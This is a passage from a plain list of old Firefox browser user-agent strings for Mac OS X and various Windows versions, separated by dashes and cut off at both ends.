(Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pl; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 FBSMTWB -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6;en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.23) Gecko/20110920 Firefox/3.6.23 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; he; rv:1.9.1b4pre) Gecko/20100405 Firefox/3.6.3plugin1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-AT; rv:1.9.1.8) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12pre) Gecko/20080122 Firefox/2.0.0.12pre -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080313 Firefox -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.2.19) Gecko/20110707 Firefox/3.6.19 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.4) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.4 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20061110 Firefox/2.0b3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060320 Firefox/2.0a1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060322 Firefox/2.0a1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.8.1.16) Gecko/20080702 Firefox -Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0 -Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 -Mozilla/5.0 (U; Windows NT 5.1; en-GB; rv:1.8.1.17) Gecko/20080808 Firefox/2.0.0.17 -Mozilla/5.0 (Windows 98; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 5.0; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 -Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 -Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 -Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 -Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/13.0.1 -Mozilla/5.0 (Windows NT 5.1; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 -Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 5.1; rv:2.0b13pre) Gecko/20110223 Firefox/4.0b13pre -Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 5.1; rv:2.0b9pre) Gecko/20110105 Firefox/4.0b9pre -Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0 -Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0 -Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 -Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6 -Mozilla/5.0 (Windows NT 5.1; rv:8.0; en_us) Gecko/20100101 Firefox/8.0 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 5.1; U; tr; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110304 Firefox/4.0b13pre -Mozilla/5.0 (Windows NT 5.2; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1 -Mozilla/5.0 (Windows NT 6.0; U; hu; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Windows NT 6.0; U; sv; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 -Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.1; de;rv:12.0) Gecko/20120403211507 Firefox/12.0 -Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 -Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/14.0.1 -Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/ 20120405 Firefox/14.0.1 -Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/18.0.1 -Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 -Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2 -Mozilla/5.0 (Windows NT 6.1; rv:1.9) Gecko/20100101 Firefox/4.0 -Mozilla/5.0 (Windows NT 6.1; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 -Mozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110113 Firefox/4.0b10pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0) Gecko/20110319 Firefox/4.0 -Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0 -Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3 -Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/19.0 -Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/7.0 -Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 -Mozilla/5.0 (Windows NT 6.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1 -Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:14.0) Gecko/20120405 Firefox/14.0a1 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b10pre) Gecko/20110118 Firefox/4.0b10pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110129 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110131 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110323 Firefox/4.2a1pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2 -Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0 -Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/23.0 -Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 -Mozilla/5.0 (Windows NT 6.2; Win64; x64;) Gecko/20100101 Firefox/20.0 -Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 -Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 -Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:21.0.0) Gecko/20121011 Firefox/21.0.0 -Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0 -Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20120910144328 Firefox/15.0.2 -Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 -Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20130514 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0 -Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Win98; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Win 9x 4.90; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 4.0; en-US; rv:1.8.0.2) Gecko/20060418 Firefox/1.5.0.2; -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070509 Firefox/2.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6 -Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13 -Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1) Gecko/20060111 Firefox/0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.2.20) Gecko/20110803 Firefox -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.19) Gecko/20081201 Firefox/2.0.0.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.0.04506.30) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 GTB7.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.16) Gecko/20110319 AskTbUTR/3.11.3.15590 Firefox/3.6.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.13) Gecko/20100914 Firefox/3.6.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; 